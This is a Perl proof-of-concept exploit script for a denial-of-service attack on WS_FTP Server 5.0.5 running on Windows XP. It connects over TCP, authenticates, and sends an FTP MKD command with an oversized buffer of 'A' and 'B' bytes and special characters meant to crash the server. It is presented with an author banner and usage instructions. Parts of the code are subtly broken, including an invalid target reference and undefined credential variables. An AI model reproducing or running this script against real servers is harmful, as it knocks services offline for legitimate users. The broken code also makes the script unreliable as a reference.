#!/usr/bin/perl
use IO::Socket::INET;
# Exploit Title: WS_FTP Server 5.0.5 - Denied of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 30 january 2024
# Vendor Homepage: N/A
# Notification vendor: No reported
# Tested Version: 5.0.5
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denied of Service (DoS)
#1. Description about vunerability and exploited
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit we intentionally increased the number of bytes sent to the server to process.
#We concluded that the FTP server does not correctly manage the amount of data or bytes sent and processed, causing denied service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.
#2. Proof of Concept - PoC
$sis="$^O";
if ($sis eq "windows"){
$cmd="cls";
} else {
$cmd="clear";
}
system("$cmd");
intro();
main();
my $exploit = "\x41"x676;
$exploit .= "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e";
$exploit .= "\x42"x3000;
$exploit .= "\r\n";
my $sock = IO::Socket::INET->new(
PeerAddr => $target->$ip,
PeerPort => $target->$port,
Proto => 'tcp',
) or die "Not connect to $ip:$port: $!";
my $response = <$sock>;
print "Connected => $response";
$sock->send("USER $ftp_user\r\n");
$response = <$sock>;
print "Authentication USER: $response";
$sock->send("PASS $ftp_pass\r\n");
$response = <$sock>;
print "Authentication PASSWORD: $response";
$sock->send("MKD ".$exploit);
$response = <$sock>;
print "Exploited : $response";
sub intro {
print q {
---------- # ------------------------------------------------------------------
--------- ##= ------- [+] WS_FTP Server 5.0.5 - Denied of Service (DoS) -------
-------- ##=== ----------------------------------------------------------------
------ ###==#=== --------------------------------------------------------------
---- ####===##==== ------------------------------------------------------------
-- #####====###===== ----- Coded by Fernando Mengali -----
- #####=====####===== ----- fernando.mengalli@gmail.com -----
- #####=====####===== ---------------------------------------------------------
--- ####= # #==== -------- Prepare to exploiting the server ------------
--------- ##= -----------------------------------------------------------------
------- ####=== ---------------------------------------------------------------
}
}
sub main {
our ($ip, $port) = @ARGV;
unless (defined($ip) && defined($port)) {
print " \nUsage: $0 <ip> <port> \n";
exit(-1);
}
}
